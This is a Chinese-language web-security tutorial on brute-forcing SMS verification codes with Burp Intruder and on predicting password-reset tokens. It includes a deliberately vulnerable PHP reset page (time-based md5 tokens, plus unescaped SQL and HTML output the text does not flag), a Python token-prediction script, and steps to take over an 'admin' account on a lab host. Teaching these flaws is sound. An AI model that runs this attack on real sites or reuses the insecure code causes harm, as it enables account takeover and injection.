伪随机码漏洞
伪随机码结构可以预先确定,重复产生和复制,具有某种随机序列的随机特性的序列号。Web开发中伪随机码主要用于确定范围,php中rand()函数可以产生随机数例如:rand(000000,999999),一般是手机验证码。
可通过穷举可以绕过
burp–>Intruder–>Sniper–>Payload(Number)
How many: 填写完回车一下
防御方法
设置失败次数,超过次数后数值无效
设置提交时间间隔
密码找回漏洞
为防止用户遗忘密码,网站都会提供密码找回功能,常见方式有:邮箱,密码保护问题,手机号等。在找回密码时,如果除了自己的密码还能找回其他用户的密码,就说明存在密码找回漏洞。它属于逻辑漏洞的一种,占了较大的比例。
(也是测试逻辑漏洞的方法)测试的步骤 :
熟悉业务流程,对流程中的HTTP请求分析
例子 :
<?php
include 'init.php';
function create_pass($username,$email){
$token=md5(time().$username.$email);
return $token;
}
echo ' <meta charset="UTF-8">';
if($_GET['c']=='forget'){
$username= trim($_POST['username']);
$re=mysql_query("select * from member where username='{$username}'");
$row = mysql_fetch_array($re);
$_email = $row['email'];
if($row){
echo "<form method='post' action='?c=email'>";
echo "用户{$row['username']}存在 请输入用户的邮箱";
echo "<input type='text' name='email'/>";
echo "<input type='hidden' name='username' value='{$row['username']}'/>";
echo "<input type='submit' value='发送key'/></form>";
}
}
if($_GET['c']=='email'){
$username= trim($_POST['username']);
$re=mysql_query("select * from member where username='{$username}'");
$row = mysql_fetch_array($re);
$email= trim($_POST['email']);
if($email == $row['email']){
$token=create_pass($row['username'],$row['email']);
mysql_query("update member set token='{$token}' where id='{$row['id']}'");
echo "密码已发送又邮件,请登录邮箱修改密码";
}else{
echo "邮箱错误 请填写对应的邮箱";
}
}
if($_GET['c']=='send'){
$token = trim($_GET['token']);
$re = mysql_query("select * from member where token='{$token}'");
$row = mysql_fetch_array($re);
if($row){
echo "<form method='post' action='?c=pass'>";
echo "输入你要修改的密码 ";
echo "<input type='text' name='password'/>";
echo "<input type='hidden' name='token' value='{$token}'/>";
echo "<input type='submit' value='修改密码'>";
}
}
if($_GET['c']=='pass'){
$token = $_POST['token'];
$password =md5(trim($_POST['password']));
$re = mysql_query("update member set password ='{$password}' where token = '{$token}'");
if($re){
echo "修改成功";
}else{
echo "修改失败";
}
}
if($_GET['c']=='login'){
echo '<form method="post" action="?c=main">';
echo '用户 <input type="text" name="username"><br>';
echo '密码 <input type="password" name="password"><br>';
echo '<input type="submit" value="登录">';
echo '</form>';
}
if($_GET['c']=='main'){
$username = $_POST['username'];
$password = md5($_POST['password']);
$re = mysql_query("select * from member where username='{$username}' and password='{$password}'");
$row = mysql_fetch_array($re);
if($row){
echo "{$row['username']} 登录成功";
}else{
echo "帐号或密码失败";
}
}
if(empty($_GET['c'])){
echo '<form method="post" action="?c=forget">';
echo '<label>请输入你要查询的用户</label>';
echo '<input type="text" name="username">';
echo '<input type="submit" value="找回密码">';
echo '</form>';
}
?>
生成token的关键代码:
function create_pass($username,$email){
$token=md5(time().$username.$email);
return $token;
}
这里token的生成时可预测的,简单写一个python脚本
import time
import datetime
import hashlib
def md5_time():
hl = hashlib.md5()
t = int(time.time())
username = "admin"
email = "moon@moonsec.com"
text = str(t) + username + email
hl.update(text.encode(encoding='utf8'))
md5=hl.hexdigest()
print(str(md5))
if __name__ == "__main__":
for i in range(60):
md5_time()
time.sleep(1)
测试python生成的token是否与php相同
<?php
$username = "admin";
$email = "moon@moonsec.com";
$token=md5(time().$username.$email);
echo $token;
?>
- 先运行python脚本,后更改密码,用户名admin,邮箱moon@moonsec.com
- 显示发送邮件后,停止python,复制生成的内容作为payload
- 访问http://www.webtester.com/forget.php?c=send&token=b903af2df8c9d53184cf6c3cb792b296
- burp抓包用生成的payload穷举token,得到正确的token
- 访问http://www.webtester.com/forget.php?c=send&token=正确的token,更改密码,然后访问http://www.webtester.com/forget.php?c=login测试登录,可以使用admin+更改的的密码登录